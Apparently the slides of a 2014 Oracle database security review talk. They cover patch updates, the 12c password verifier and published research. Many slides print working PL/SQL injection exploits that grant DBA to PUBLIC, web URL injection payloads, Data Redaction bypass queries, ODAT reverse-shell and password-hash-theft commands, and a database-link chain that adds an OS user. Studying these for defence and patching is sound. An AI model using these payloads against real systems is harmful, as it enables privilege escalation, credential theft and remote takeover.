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Intro

What you will see infos about 
¡ Oracle Security Patches 
¡ New 12.1 password verifier 
¡ New ways to exploit SQL Injection in PL/SQL packages 
¡ Bypass Oracle Data Redaction 
¡ more



Oracle Vulnerabilities

Number of vulnerabilities in Oracle database increasing again 

¡ 43 findings in 2014    (2013: 13 2012: 17, 2011: 29, 2010: 31) 

¡ 4 remote exploitable bugs  (2013: 7, 2012: 8, 2011: 5 )

• January 2014 CPU (5 Vulnerabilities – 1 remote) 

• April 2014 CPU (2 Vulnerabilities – 0 remote) 

• July 2014 CPU (5 Vulnerabilities – 1 remote) 

• October 2014 CPU (31 Vulnerabilities – 2 remote) 



2014 



January 2014

Oracle CPU January 2014 



January 2014 CPU*

5 security fixes (1 remote exploitable) 

4 Core RDBMS (CVSS 5.0, 4.0, 4.0, 3.5) 

1 Spatial (CVSS 4.1)

* http://www.oracle.com/technetwork/topics/security/cpujan2014-1972949.html 

http://www.oracle.com/technetwork/topics/security/cpujan2014-1972949.html


February 2014

nothing special happened



March 2014

Lurking in Clouds - Easy hacks for complex Apps



March 2014

Nicolas Grégoire showed how to hack 

commercial clouds* 

One of the goals was the Oracle cloud 

* http://www.agarri.fr/docs/Easy_hacks_for_complex_apps-INS14.pdf

http://www.agarri.fr/docs/Easy_hacks_for_complex_apps-INS14.pdf


March 2014



March 2014



March 2014

July 2014: Oracle forgot to fix Oracle 12c,  
Fixed with CPU July 2014 (CVSS 9.0)



March 2014



April 2014

Oracle Subdomain Page Defaced by Indian 

Hacker* 

Oracle CPU April 2014 **

** http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html  
* http://thehackernews.com/2014/04/oracle-subdomain-defaced-using.html 

http://www.oracle.com/technetwork/topics/security/cpuapr2013-1899555.html
http://thehackernews.com/2014/04/oracle-subdomain-defaced-using.html






April 2014 CPU*

2 security fixes (None remote exploitable)  

Core RDBMS (CVSS 8.5, 6.6)

*   http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html 

http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html


May 2014

Exploiting PL/SQL Injection on Oracle 12c with 

only CREATE SESSION privileges*

* http://www.davidlitchfield.com/Exploiting_PLSQL_Injection_on_Oracle_12c.pdf 

http://www.davidlitchfield.com/Exploiting_PLSQL_Injection_on_Oracle_12c.pdf


Introduction
SQL Injection is still one of the biggest issue in the database area.  
Especially many PL/SQL packages are using insecure dynamic PL/
SQL and can be used for privilege escalation. 

Depending on the application architecture the privilege escalation 
could be executed SQL injection vulnerabilities in web applications 
as well.



Short history of Oracle Privilege 
Escalation via SQL Injection



SQL Injection Oracle 9i/10g 
with Create Procedure



Basics

Privilege escalation is a smart combination of multiple 
functions/procedures together with vulnerable PL/SQL 
code. 

This technique is common sense and well known in the 
security area. Many DBAs are already aware of this 
issue. 

With every new DB version it is necessary to adjust the 
technique because Oracle is blocking some of the 
ways.



A common PL/SQL exploit consists of 2 parts. 
- A function with the privilege escalation code 
- the Injection itself 

“Shellcode” 
 

CREATE OR REPLACE FUNCTION F1 return number 
authid current_user as 
pragma autonomous_transaction; 
BEGIN 
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; 
COMMIT; 
RETURN 1; 
END; 
/



The following example shows how a function is injected 
into a vulnerable package 

Exploit 
 

 
exec sys.kupw$WORKER.main('x','YY'' and 1=user1.f1 –-'); 

After executing the sample, DBA was granted to public.



Example in custom code
 FUNCTION TABLE_IS_EMPTY( SN VARCHAR2, TN VARCHAR2)  RETURN 
BOOLEAN IS 
      CNT      INTEGER; 
      SQL_STMT VARCHAR2(100); 
      C1       INTEGER; 
      RC       INTEGER; 
   BEGIN 
      SQL_STMT:=  'SELECT COUNT(*) FROM '||SN||'.'||TN; 
      C1:=  DBMS_SQL.OPEN_CURSOR; 
            DBMS_SQL.PARSE(C1,SQL_STMT,DBMS_SQL.V7); 
            DBMS_SQL.DEFINE_COLUMN(C1,1,CNT); 
      RC:=  DBMS_SQL.EXECUTE(C1); 
      RC:=  DBMS_SQL.FETCH_ROWS(C1); 
            DBMS_SQL.COLUMN_VALUE( C1,1,CNT); 
            DBMS_SQL.CLOSE_CURSOR(C1);

Exploit:  select table_is_empty('sys.dual where 
1=user1.f1--','nothing') from dual;



One big disadvantage of this 
approach from the attacker side: 

„Create Procedure“ required



Privilege Escalation with 
Create Session (9i/10g)



     The following technique works without create procedure 
and was shown by David Litchfield. DBMS_SQL is used 
instead of a stored procedure.  
 
No longer working in Oracle 11g or higher. 

      The exploit is identical. Only the function call is replaced 

          and 1=user1.f1 

     ==> 

          and 1=dbms_sql.execute(1) 

    



DECLARE  
MYC NUMBER;  
BEGIN  
  MYC := DBMS_SQL.OPEN_CURSOR;  
  DBMS_SQL.PARSE(MYC, 
'declare pragma autonomous_transaction;  
begin execute immediate ''grant dba to public''; 
commit;end;',0);  
  sys.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute('||
myc||')--');  
END;  
/  

set role dba;  

revoke dba from public; 

Exploit with cursor



SQL Injection Oracle 11g



Basics

In Oracle 11g some countermeasures to fight against SQL Injection 
were introduced 

Privilege escalation via dbms_sql.execute was blocked. 

The old „CREATE PROCEDURE“ was still working. 

People found new ways to bypass the „CREATE PROCEDURE“ 
limitation.



SQL Injection via DBMS_XMLQUERY

2 new functions were found 

dbms_xmlquery.newcontext() 

dbms_xmlquery.getxml()  

Available since Oracle 9i 

Granted to Public 

Allows the execution of PL/SQL statements 

Fixed by Oracle with 11.2.0.4



SQL Injection via DBMS_XMLQUERY

EXEC SYS.VULNERABLE_PROC('FOO''||
DBMS_XMLQUERY.NEWCONTEXT(''DECLARE PRAGMA 
AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT 
DBA TO PUBLIC''''; END;'')||''BAR'); 



SQL Injection via DBMS_XMLQUERY

Abusing a vulnerability in Oracle 11.2 (fixed with CPU Oct 2010) 

select dbms_xmlquery.newcontext('declare PRAGMA 
AUTONOMOUS_TRANSACTION; begin execute immediate '' begin 
sys.dbms_cdc_publish.create_change_set('''' 
a'''',''''a'''',''''a''''''''||
scott.pwn2()||''''''''a'''',''''Y'''',s 
ysdate,sysdate);end;''; commit; end;') from dual 



SQL Injection via URL

http://vuln/index.php?id=1 and (select 
dbms_xmlquery.newcontext(' declare PRAGMA 
AUTONOMOUS_TRANSACTION; begin execute immediate ''create 
or replace function pwn return varchar2 authid 
current_user is PRAGMA autonomous_transaction;BEGIN 
execute immediate ''''grant dba to 
public'''';commit;return ''''z'''';END; ''; commit; 
end;') from dual) is not null -- 



SQL Injection Oracle 12c



Basics

New additional countermeasures were introduced.  

Using dbms_xmlquery for privilege escalation was blocked and 
backported to Oracle 11.2.0.4. 

This new technique* developed and published by David Litchfield.

* http://www.davidlitchfield.com/Exploiting_PLSQL_Injection_on_Oracle_12c.pdf 

http://www.davidlitchfield.com/Exploiting_PLSQL_Injection_on_Oracle_12c.pdf


Example 1/3
SQL> CONNECT / AS SYSDBA  
Connected.  
 
SQL> CREATE OR REPLACE PROCEDURE VULNERABLE_PROC (P VARCHAR) 
IS  
 N NUMBER;  
 BEGIN  
 EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM ALL_OBJECTS WHERE  
OBJECT_NAME = ''' || P || '''' INTO N;  
 DBMS_OUTPUT.PUT_LINE(N);  
 END;  
 /  

Procedure created.  

SQL> GRANT EXECUTE ON VULNERABLE_PROC TO PUBLIC;  
Grant succeeded. 



Example 2/3
SQL> SET SERVEROUTPUT ON  
 
SQL> EXEC VULNERABLE_PROC('ALL_OBJECTS');  
PL/SQL procedure successfully completed.  

SQL> EXEC VULNERABLE_PROC('FOO''BAR');  
 
BEGIN VULNERABLE_PROC('FOO''BAR'); END;  
*  
ERROR at line 1:  
ORA-00933: SQL command not properly ended  
ORA-06512: at "SYS.VULNERABLE_PROC", line 4  
ORA-06512: at line 1 



Example 3/3
SQL> connect user1/password  
Connected.  
 
SQL> set role dba;  
set role dba *  
ERROR at line 1:  
ORA-01924: role 'DBA' not granted or does not exist  

SQL> exec sys.vulnerable_proc('AA''||dbms_java_test.funcall(''-
setprop'', '' '', ''user.language'',dbms_sql.open_cursor) || 
dbms_java_test.funcall(''-set_output_to_sql'', '' '', ''dbout'', 1, 
''call dbms_sql.parse(to_number(dbms_java_test.funcall(''''-
getprop'''', '''' '''', ''''user.language'''')), ''''declare pragma 
autonomous_transaction; begin execute immediate ''''''''grant dba to 
public''''''''; dbms_output.put_line(user''''||:1||''''); end;'''',
2)'', ''TEXT'', null, null, null, null, 0, 7) || 
dbms_java_test.funcall(''-runjava'','' '', 
''oracle.aurora.util.Test'','''','''') ||
dbms_sql.execute(dbms_java_test.funcall(''-getprop'', '' '', 
''user.language''))||''AA');  

PL/SQL procedure successfully completed.  
 
SQL> set role dba;  
Role set. 



New dangerous packages to revoke from 
public 

Revoke from PUBLIC in Oracle 12c 

DBMS_REDACT      (new in 11.2.0.4) 

DBMS_XMLSAVE 

DBMS_XMLSTORE



June 2014

Oracle Application Express unter der Security-

Lupe - APEX-Anwendungen gezielt absichern* 

DBMS_XMLSTORE as an Auxiliary SQL Injection 

function in Oracle 12c** 

Oracle Data Redaction is Broken***

* https://apex.oracle.com/pls/apex/GERMAN_COMMUNITIES.SHOW_TIPP?P_ID=2901
** http://www.davidlitchfield.com/DBMS_XMLSTORE_PLSQL_Injection.pdf
*** http://www.davidlitchfield.com/Oracle_Data_Redaction_is_Broken.pdf

https://apex.oracle.com/pls/apex/GERMAN_COMMUNITIES.SHOW_TIPP?P_ID=2901
http://www.davidlitchfield.com/DBMS_XMLSTORE_PLSQL_Injection.pdf
http://www.davidlitchfield.com/Oracle_Data_Redaction_is_Broken.pdf


DBMS_XMLSTORE as an Auxiliary SQL Injection 

developed by David Litchfield



DBMS_XMLSTORE/DBMS_XMLSAVE

DBMS_XMLSTORE and DBMS_XMLSAVE (req. Java) allow to insert/
update/delete rows into a table 

The context (=tablename) must be set first 

After that the content can be insert. 

Users with SYSDBA privileges can grant privileges by inserting 
privileges into SYS.SYSAUTH$ 



SQL Injection
SQL> CONNECT / AS SYSDBA  
Connected.  
 
SQL> CREATE TABLE DEMO(X VARCHAR(30));  

Table created.  
 
SQL> CREATE OR REPLACE PROCEDURE VULNERABLE_PROC (P 
VARCHAR) IS  

2 BEGIN  
3 EXECUTE IMMEDIATE 'INSERT INTO SYS.DEMO (X) VALUES (''' 
|| P || ''')';  
4 COMMIT;  
5 END;  
6/  

Procedure created.  

SQL> GRANT EXECUTE ON VULNERABLE_PROC TO PUBLIC;  
Grant succeeded.  



SQL Injection

SQL> EXEC VULNERABLE_PROC('FOO');  
PL/SQL procedure successfully completed.  

SQL> EXEC VULNERABLE_PROC('FOO''BAR');  
BEGIN VULNERABLE_PROC('FOO''BAR'); END; 
*  
ERROR at line 1:  
ORA-00917: missing comma  
ORA-06512: at "SYS.VULNERABLE_PROC", line 3  
ORA-06512: at line 1 



DBMS_XMLSTORE

SQL> BEGIN  DBMS_OUTPUT.PUT_LINE(DBMS_XMLSTORE.INSERTXML 
(DBMS_XMLSTORE.NEWCONTEXT('SYSTEM.OL$'), 
'<ROWSET><ROW><OL_NAME>FOO</OL_NAME></ROW></ROWSET>'));  

END; 

/  

PL/SQL procedure successfully completed.  

SQL> SELECT OL_NAME FROM SYSTEM.OL$;  

OL_NAME  

------------  

FOO  

SQL> 



Privilege Escalation via DBMS_XMLSTORE

SQL> Select * from session_privs;  

CREATE SESSION  

SQL> set role dba; 
set role dba 
* 
ERROR at line 1: 
ORA-01924: role 'DBA' not granted or does not exist  

SQL> exec sys.vulnerable_proc ('FOO''||dbms_xmlstore.insertxml 
( dbms_xmlstore.newcontext(''SYS.SYSAUTH$''), 
''<ROWSET><ROW><GRANTEE_x0023_>1</GRANTEE_x0023_> 
<PRIVILEGE_x0023_>4</PRIVILEGE_x0023 
_><SEQUENCE_x0023_>13371337</SEQUENCE_x0023_> </ROW></
ROWSET>'')||''BAR');  

PL/SQL procedure successfully completed.  

SQL> set role DBA;  
Role set. 



July 2014

Oracle CPU July 2014 * 

Oracle released 12.1.0.2 

ODAT (Oracle Database Attacking Tool) – Test 

Oracle Database Security ** 

Abusing Oracle’s CREATE DATABASE LINK 

privilege for fun and profit! ***

*   http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html  
** http://www.darknet.org.uk/2014/07/odat-oracle-database-attacking-tool-test-oracle-database-security/  
*** https://www.notsosecure.com/blog/2014/07/08/abusing-oracles-create-database-link-privilege-for-fun-and-profit/ 

http://www.oracle.com/technetwork/topics/security/cpujul2012-392727.html
http://www.darknet.org.uk/2014/07/odat-oracle-database-attacking-tool-test-oracle-database-security/
https://www.notsosecure.com/blog/2014/07/08/abusing-oracles-create-database-link-privilege-for-fun-and-profit/


July 2014 CPU

Due to the threat posed by a successful 
attack, Oracle strongly recommends that 
customers apply CPU fixes as soon as 
possible. 



July 2014 CPU*

5 security fixes (1 remote exploitable)  

1 XML Parser (CVSS 9.0) (as shown before) 

1 Network Layer (CVSS 7.6) 

3 Core RDBMS (CVSS 6.5, 4.0, 3.5)

* http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html 

http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html


Oracle 12.1.0.2*

First patch set for Oracle 12.1 

Several bugfixes 

New password hash algorithm

* https://support.oracle.com/epmos/faces/DocumentDisplay?id=1683802.1 

https://support.oracle.com/epmos/faces/DocumentDisplay?id=1683802.1


Patchset 12.1.0.2 security fixes





Oracle 12c Password Verifier*

New password hashing algorithm based on 

PBKDF2 and SHA-512 

De-optimized to make the password cracking 

much slower (11c SHA1 hashes: 25,975,600,000 

hashes/s, 12c several thousands ) 

For backward compatibility Oracle is creating all 

3 password hashes (10g, 11g, 12c) 

If possible (best security, only new Oracle clients) 

use the 12c password verifier exclusively

* https://docs.oracle.com/database/121/DBSEG/authentication.htm#DBSEG3225 

http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html


Oracle 12a Password Verifier

  SQLNET.ALLOWED_LOGON_VERSION_SERVER setting 8 11 12 12a

  Server runs in Exclusive Mode? No No Yes Yes

  Generate the 10G verifier? Yes Yes No No

  Generate the 11G verifier? Yes Yes Yes No

  Generate the 12C verifier? Yes Yes Yes Yes

This table shows the effect of the SQLNET.ALLOWED_LOGON_VERSION_SERVER setting on verifier generation: 



ODAT* - Oracle Database 
Attacking Tool

New open source database attacking tool 

Multiple Features  
search valid SID on a remote Oracle Database listener 
search Oracle accounts 
execute system commands  (DBMS_SCHEDULER, JAVA,external 
tables, oradbg) 
download files stored on the database server (UTL_FILE, external 
tables, CTXSYS, DBMS_LOB) 
upload files on the database server (UTL_FILE, 
DBMS_XSLPROCESSOR, DBMS_ADVISOR) 
delete files (UTL_FILE) 
send/reveive HTTP requests from the database server (UTL_HTTP, 
HttpUriType) 
scan ports of the local server or a remote server (UTL_HTTP, 
HttpUriType, UTL_TCP) 
capture a SMB authentication through: 
exploit the CVE-2012-313

* https://github.com/quentinhardy/odat 

http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html


ODAT - Examples

dbmsscheduler module 

This module can be used to execute system commands on a remote 
database server. Useful to get a reverse tcp shell.


Note 1: It is not possible to:

~ get the output of the system command

~ to give some special chararacters in arguments to the system command 
(ex: >)


	 •	 To get a reverse tcp shell when the remote database server is a Linux:
      

./odat.py	
  dbmsscheduler	
  -­‐s	
  $SERVER	
  -­‐d	
  $SID	
  -­‐U	
  $USER	
  -­‐P	
  $PASSWORD	
  -­‐-­‐
reverse-­‐shell	
  $MY_IP	
  $A_LOCAL_PORT



ODAT - Examples
passwordstealer module 
This module has been created in order to get hashed password quicly and 
to pickup hashed passwords from the history.


	 •	 To get hashed passwords from the history:
      

./odat.py	
  passwordstealer	
  -­‐s	
  $SERVER	
  -­‐d	
  $SID	
  -­‐U	
  $USER	
  -­‐P	
  $PASSWORD	
  -­‐-­‐
get-­‐passwords-­‐from-­‐history	
  

	 •	 To get hashed passwords from the users table:
      

./odat.py	
  passwordstealer	
  -­‐s	
  $SERVER	
  -­‐d	
  $SID	
  -­‐U	
  $USER	
  -­‐P	
  $PASSWORD	
  -­‐-­‐
get-­‐passwords	
  



Abusing Oracle’s CREATE DATABASE 
LINK privilege for fun and profit! *

http://host/vuln.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA 
AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK 
notsosecure_link CONNECT TO scott IDENTIFIED BY tiger USING ''''ORCL_SID'''' '';commit;end;') 
from dual) is not null
 

sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; 
begin execute immediate ''CREATE DATABASE LINK link2 CONNECT TO dbsnmp IDENTIFIED BY 
dbsnmp USING ''''ORCL_SID'''' '';commit;end;') from dual

sql-shell>select SYS.KUPP
$PROC.CREATE_MASTER_PROCESS@pwn('DBMS_SCHEDULER.create_program(''myprog10'',''EX
ECUTABLE'',''net user pwnedfromweb pwn3d!! /add'',0,TRUE); 
DBMS_SCHEDULER.create_job(job_name=>''myjob10'',program_name=>''myprog10'',start_date=>NU
LL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1)
;dbms_scheduler.drop_program(program_name=>''myprog10'');dbms_scheduler.purge_log;') from dual

* https://www.notsosecure.com/blog/2014/07/08/abusing-oracles-create-database-link-privilege-for-fun-and-profit/ 

https://www.notsosecure.com/blog/2014/07/08/abusing-oracles-create-database-link-privilege-for-fun-and-profit/


August 2014

Blackhat 2014 - Oracle Data Redaction is broken



August 2014

Some security issues in Oracle Data Redaction 

were already shown in my presentation „Best of 

Oracle Security 2013“ 

David Litchfield showed new ways (RETURNING 

INTO, XMLQUERY, XMLTABLE, inherence) to 

bypass Oracle Data Redaction 

Additionally he showed how to escalate 

privileges using dbms_redact 

This „feature“ was back ported by Oracle into 

11.2.0.4 

Privilege escalation issue in dbms_redact was 

fixed with July 2014



August 2014

SQL> DECLARE 
  2     buffer varchar(30); 
  3  BEGIN 
  4    UPDATE redactiontest 
  5 SET id = id 
  6 WHERE id=1 
  7    RETURNING cc INTO buffer; 
  8    DBMS_OUTPUT.put_line('CC=' || buffer); 
  9 END; 
 10  / 
CC=4111222233334444 
PL/SQL procedure successfully completed.



August 2014

SQL> select xmlquery('for $i in ora:view("REDACTIONTEST") 
return $i' returning content) from dual; 

XMLQUERY('FOR$IINORA:VIEW("REDACTIONTEST")RETURN
$I'RETURNINGCONTENT) 
--------------------------  
<ROW><CC>4111222233334444</CC><ID>1</ID></ROW> 
<ROW><CC>3998887776665554</CC ><ID>

select * from xmltable ('for $i in 
ora:view("BLACKHAT","REDACTIONTEST") return $i/ROW/
CC/text()') t; 

or via xmltable



September 2014
¡ Oracle 12c Real Application Security and 

Standard Database Auditing - Warning Database 

Logins Not Logged *

*   http://www.integrigy.com/oracle-security-blog/oracle-12c-real-application-security-and-
standard-database-auditing-warning

http://www.integrigy.com/oracle-security-blog/oracle-12c-real-application-security-and-standard-database-auditing-warning


RAS Database Logins Not Logged

Oracle Database 12c introduces the next 
generation Oracle virtual private database (VPD) 
with new security technology to support application 
security requirements. Oracle Database 12c Real 
Application Security (RAS) provides a declarative 
model that enables security policies that 
encompass not only the business objects being 
protected but also the principals (users and roles) 
that have permissions to operate on those business 
objects. RAS is more secure, scalable, and cost 
effective than traditional Oracle virtual private 
database technology.



RAS* Database Logins Not Logged

— Create a RAS user 
exec XS_PRINCIPAL.CREATE_USER(NAME=>'MY_RAS_USER');  

— Set password 
 exec  XS_PRINCIPAL.SET_PASSWORD('MY_RAS_USER','oracle'); 
 
—Login using RAS user 
MY_RAS_USER/oracle 

— Login in classic audit trail contains XS$NULL instead of 
MY_RAS_USER 

— Unified auditing will show the MY_RAS_USER in the 
XS_USER_NAME field 

* http://www.oracle.com/technetwork/database/security/real-application-security/real-application-security-1964775.html

http://www.oracle.com/technetwork/database/security/real-application-security/real-application-security-1964775.html


October 2014

Oracle CPU October 2014 *

*   http://www.oracle.com/technetwork/topics/security/cpuoct2014-1972960.html

http://www.oracle.com/technetwork/topics/security/cpuoct2014-1972960.html


October 2014 CPU*

„Oracle has received specific reports of malicious 
exploitation of vulnerabilities for which Oracle has 
already released fixes. In some instances, it has 
been reported that malicious attackers have been 
successful because customers had failed to apply 
these Oracle patches. Oracle therefore strongly 
recommends that customers remain on actively-
supported versions and apply Critical Patch Update 
fixes without delay.“

*   http://www.oracle.com/technetwork/topics/security/cpuoct2014-1972960.html

http://www.oracle.com/technetwork/topics/security/cpuoct2014-1972960.html


October 2014 CPU*

31 security fixes (2 remote exploitable) 

10 JPublisher (max CVSS 9.0) 

9 JavaVM (max CVSS 9.0) 

2 APEX (max CVSS 6.0) 

7 SQLJ (max CVSS 9.0) 

2 JDBC (max CVSS 3.6) 

1 Core RDBMS (CVSS 2.6)  
 
==> so far no public exploits available 
==> patch as soon as possible

*   http://www.oracle.com/technetwork/topics/security/cpuoct2014-1972960.html

http://www.oracle.com/technetwork/topics/security/cpuoct2014-1972960.html


November 2014

DOAG 2014



Trends 2015

Oracle 12c migration projects 

New hardening documents for Oracle 12c 

required (new features, new packages, …) 

More SIEM integration projects of databases 

auditing/monitoring (McAfee ESM, Arcsight, IBM 

QRadar, Splunk, …) 

More pressure from legislative authorities (e.g. IT 

Sicherheitsgesetz, FINMA regulation)



Q & A



Thank you
  Contact: 

Red-Database-Security GmbH 

Bliesstr. 16 

D-.66538 Neunkirchen 

Germany


